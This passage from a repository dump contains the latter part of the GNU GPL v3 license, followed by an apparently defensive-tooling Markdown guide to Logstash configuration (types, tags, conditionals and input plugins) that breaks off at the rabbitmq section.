167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/Tools/Logstash.md:
--------------------------------------------------------------------------------
1 | Logstash
2 | ========
3 | Abstract
4 | ---------
5 | Logstash is a log aggregator designed to collect, parse, and enrich logs. It is a major open source component of the Elastic Stack. It can be used in conjunction with other commerial SIEM solutions.
6 |
7 | Where to Acquire
8 | ---------
9 | Logstash can be downloaded from https://www.elastic.co/products/logstash. It is open source but also has a commercial support offering.
10 |
11 | Examples/Use Case
12 | ---------
13 | Below are some of the common configurations used with Logstash.
14 |
15 | General Knowledge
16 | ---------
17 | - [type](#type)
18 | - [tags](#tags)
19 | - [conditional logic](#logic) - If statements
20 |
21 |
22 | ---------
23 | ### type
24 | The **type** field is a special field often used to control how logs are handled. It can be used to control how a log is parsed and ultimately stored.
25 |
26 | Type is most commonly set within an input plugin. For example, this configuration would set the type to windows anytime logs come in over TCP port 6052:
27 | ```bash
28 | input {
29 | tcp {
30 | port => 6052
31 | type => "windows"
32 | }
33 | }
34 | ```
35 | This type could then be used to conditionally interact with logs with a type of "windows":
36 |
37 | ```bash
38 | filter {
39 | if [type] == "windows" {
40 | do something...
41 | }
42 | }
43 | ```
44 |
45 | It can also be used to control where the logs ultimately are saved such as an Elasticsearch index of logstash-windows-2017-06-10:
46 | ```bash
47 | output {
48 | if [type] == "windows" {
49 | elasticsearch {
50 | index => "logstash-windows-%{+YYYY.MM.dd}"
51 | }
52 | }
53 | }
54 | ```
55 |
56 | ---------
57 | ### tags
58 | Tags are attributes used to apply conditional filtering or to ease searching. It also can be used to route logs to their final destination. A log can have an unlimited amount of tags.
59 |
60 | Tags can be set at input but can also be applied within the filter section. Below is an example of setting a tag of "windows" for any logs coming in over port 6052:
61 | ```bash
62 | input {
63 | tcp {
64 | port => 6052
65 | tags => "windows"
66 | }
67 | }
68 | ```
69 | Below is an example of adding a tag within the filter portion of Logstash:
70 |
71 | ```bash
72 | filter {
73 | mutate {
74 | add_tag => "windows"
75 | }
76 | }
77 | ```
78 |
79 | Below is an example of adding multiple tags within the filter portion of Logstash:
80 |
81 | ```bash
82 | filter {
83 | mutate {
84 | add_tag => [ "windows", "pci", "critical_asset" ]
85 | }
86 | }
87 | ```
88 |
89 | Tags can be used to control where the logs ultimately are saved such as an Elasticsearch index of logstash-windows-2017-06-10:
90 | ```bash
91 | output {
92 | if "windows" in [tags] {
93 | elasticsearch {
94 | index => "logstash-windows-%{+YYYY.MM.dd}"
95 | }
96 | }
97 | }
98 | ```
99 |
100 | Tags can greatly aid in searching and detection techniques. This can be used so that an analyst can quickly search for whether a connection is outbound to the internet or to an internal system. It also can be used to apply log enrichment to select logs.
101 |
102 | For example, below is an example of tagging IP addresses.
103 | ```bash
104 | filter {
105 | if [destination_ip] =~ "2(?:2[4-9]|3\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d?|0)){3}" {
106 | mutate {
107 | add_tag => [ "multicast" ]
108 | }
109 | }
110 | if [destination_ip] == "255.255.255.255" {
111 | mutate {
112 | add_tag => [ "broadcast" ]
113 | }
114 | }
115 | if [destination_ip] and "multicast" not in [tags] and "broadcast" not in [tags] {
116 | if [destination_ip] =~ "10\." or [destination_ip] =~ "192\.168\." or [destination_ip] =~ "172\.(1[6-9]|2[0-9]|3[0-1])\." {
117 | mutate {
118 | add_tag => [ "internal_destination" ]
119 | }
120 | } else {
121 | mutate {
122 | add_tag => [ "external_destination" ]
123 | }
124 | }
125 | }
126 | }
127 | ```
128 |
129 | ---------
130 | ### logic
131 |
132 | Conditional logic is required to properly scale and use Logstash in an enterprise environment. It allows you to accept, parse, or enrich logs based on specific conditions.
133 |
134 | A simple condition would be to do something **IF** a value equals something specific. Example:
135 | ```javascript
136 | filter {
137 | if [field] == "7" {
138 | do_something...
139 | }
140 | }
141 | ```
142 |
143 | #### Conditions dealing with Numbers
144 |
145 | **Note:** That "7" is not the same as 7. **"7"** means the string of 7 and **7** means an integer of 7. If the field contained the integer 7 you would need to do this:
146 | ```javascript
147 | filter {
148 | if [field] == 7 {
149 | do_something...
150 | }
151 | }
152 | ```
153 |
154 | If a field contains a number value than you can use greater than or less than. Examples:
155 | ```javascript
156 | filter {
157 | if [field] > 7 {
158 | do_something...
159 | }
160 | }
161 | ```
162 |
163 | ```javascript
164 | filter {
165 | if [field] < 7 {
166 | do_something...
167 | }
168 | }
169 | ```
170 |
171 | You can also do less than or equal to and greater than or equal to. Example:
172 | ```javascript
173 | filter {
174 | if [field] >= 7 {
175 | do_something...
176 | }
177 | }
178 | ```
179 |
180 | #### Conditions dealing with Strings
181 |
182 | When checking against a string you can do an exact match such as follows:
183 | ```javascript
184 | filter {
185 | if [field] == "string" {
186 | do_something...
187 | }
188 | }
189 | ```
190 |
191 | Or you can do a regex match such as below. The **=~** specifies a regex match. The example below looks for the string "string" followed by any characters.
192 | ```javascript
193 | filter {
194 | if [field] =~ "string*" {
195 | do_something...
196 | }
197 | }
198 | ```
199 |
200 | #### Condition checks against a field's existance
201 | If you want to apply a configuration but only if a field exists use this:
202 | ```javascript
203 | filter {
204 | if [field] {
205 | do_something...
206 | }
207 | }
208 | ```
209 |
210 | The syntax **if [field] {** means only run if the field **field** exists.
211 |
212 | #### Handling multiple conditions
213 |
214 | Sometimes you need to apply multiple logical conditions. To do this use **and** and **or**. For example, the below configuration requires a specific string for **field1** and an integer over 5 for **field2**.
215 | ```javascript
216 | filter {
217 | if [field1] == "string" and [field2] > 5 {
218 | do_something...
219 | }
220 | }
221 | ```
222 |
223 | This is a similar example but where **field1** needs to be set to string **or** **field2** needs to be over 5.
224 |
225 | ```javascript
226 | filter {
227 | if [field1] == "string" or [field2] > 5 {
228 | do_something...
229 | }
230 | }
231 | ```
232 |
233 | Input Plugins
234 | ---------
235 | - [beats](#beats)
236 | - [elasticsearch](#elasticsearch)
237 | - [file](#file)
238 | - [jdbc](#jdbc)
239 | - [tcp](#tcp)
240 | - [udp](#udp)
241 | - [rabbitmq](#rabbitmq)
242 | - [kafka](#kafka)
243 |
244 | Special considerations (not actual plugins)
245 |
246 | - [codecs](#codecs)
247 |
248 | ---------
249 | ### beats
250 | The **beats** plugin is an input plugin used to accept logs from beats agents such as winlogbeat and filebeat.
251 |
252 | This example shows how to listen for logs from beats on port 5044. You cannot change the type when using beats.
253 | ```javascript
254 | input {
255 | beats {
256 | port => 5044
257 | }
258 | }
259 | ```
260 |
261 | ---------
262 | ### elasticsearch
263 | The **elasticsearch** input plugin is an input plugin used to accept logs from an elasticsearch index. This can be used to re-import logs from an existing index. It requires a query to be specified.
264 |
265 | ```javascript
266 | input {
267 | elasticsearch {
268 | hosts => "localhost"
269 | query => '{ "query": { "match": { "statuscode": 200 } }, "sort": [ "_doc" ] }'
270 | }
271 | }
272 | ```
273 |
274 | ---------
275 | ### jdbc
276 | The **jdbc** plugin is an input plugin used to retrieve logs from a database such as Microsoft SQL or MySQL. It is often used to retrieve logs from third party systems that store logs in a database such as McAfee ePO (endpoint protection suite).
277 |
278 | ```javascript
279 | input {
280 | jdbc {
281 | jdbc_driver_library => "/etc/logstash/drivers/sqljdbc42.jar"
282 | jdbc_driver_class => "com.microsoft.sqlserver.jdbc.SQLServerDriver"
283 | jdbc_connection_string => "jdbc:sqlserver://sqlserver_name_goes_here:1433;databasename=database_name_goes_here"
284 | jdbc_fetch_size => "10000"
285 | jdbc_user => "sql_user_goes_here"
286 | jdbc_password => "sql_password_goes_here"
287 | schedule => "* * * * *"
288 | statement => "SELECT id,ipv4,user,mesesage FROM logs"
289 | tracking_column => id
290 | type => "mssql"
291 | }
292 | }
293 | ```
294 | ---------
295 | ### file
296 | The **file** plugin is an input plugin used to monitor files or folders.
297 |
298 | Input configuration for monitoring a file:
299 | ```javascript
300 | input {
301 | file {
302 | path => "/var/log/syslog"
303 | }
304 | }
305 | ```
306 | Input configuration for monitoring a folder:
307 | ```javascript
308 | input {
309 | file {
310 | path => "/var/log/"
311 | }
312 | }
313 | ```
314 | Input configuration for monitoring CSV files within a folder:
315 | ```javascript
316 | input {
317 | file {
318 | path => "/path/to/some/folder/*.csv"
319 | }
320 | }
321 | ```
322 | ---------
323 | ### tcp
324 | The **tcp** input plugin is an input plugin that listens on a TCP port for logs.
325 |
326 | Input configuration for accepting logs on TCP port 1025:
327 | ```javascript
328 | input {
329 | tcp {
330 | port => 1025
331 | }
332 | }
333 | ```
334 | It is recommended to add either a tag or type or both to all inputs. These should be used to specify the expected logs and/or information about these logs such as method of collection. This example shows both:
335 | ```javascript
336 | input {
337 | tcp {
338 | port => 1025
339 | type => "name_goes_here"
340 | tags => "name_goes_here"
341 | }
342 | }
343 | ```
344 | On Linux operating systems you must have be root or have administrative privileges to listen on ports 1024 and below. However, running Logstash as root is a bad idea. One way around this is to use iptables. The iptables command below maps port 514 (syslog) to port 1514.
345 | ```bash
346 | iptables -t nat -A PREROUTING -p tcp --dport 514 -j REDIRECT --to-port 1514
347 | ```
348 | The equivalent Logstash configuration file that accepts these logs is below:
349 | ```javascript
350 | input {
351 | tcp {
352 | port => 1514
353 | type => "syslog"
354 | }
355 | }
356 | ```
357 | To make iptables persist across reboots you can use iptables-save and iptables-restore. For more information on this see this link:
358 | https://help.ubuntu.com/community/IptablesHowTo#Using_iptables-save.2Frestore_to_test_rules
359 |
360 | ### udp
361 | The **udp** input plugin is an input plugin that listens on a UDP port for logs.
362 |
363 | Input configuration for accepting logs on UDP port 1025:
364 | ```javascript
365 | input {
366 | udp {
367 | port => 1025
368 | }
369 | }
370 | ```
371 | It is recommended to add either a tag or type or both to all inputs. These should be used to specify the expected logs and/or information about these logs such as method of collection. This example shows both:
372 | ```javascript
373 | input {
374 | udp {
375 | port => 1025
376 | type => "name_goes_here"
377 | tags => "name_goes_here"
378 | }
379 | }
380 | ```
381 | On Linux operating systems you must have be root or have administrative privileges to listen on ports 1024 and below. However, running Logstash as root is a bad idea. One way around this is to use iptables. The iptables command below maps port 514 (syslog) to port 1514.
382 | ```bash
383 | iptables -t nat -A PREROUTING -p udp --dport 514 -j REDIRECT --to-port 1514
384 | ```
385 | The equivalent Logstash configuration file that accepts these logs is below:
386 | ```javascript
387 | input {
388 | udp {
389 | port => 1514
390 | type => "syslog"
391 | }
392 | }
393 | ```
394 | To make iptables persist across reboots you can use iptables-save and iptables-restore. For more information on this see this link:
395 | https://help.ubuntu.com/community/IptablesHowTo#Using_iptables-save.2Frestore_to_test_rules
396 |
397 | ### rabbitmq
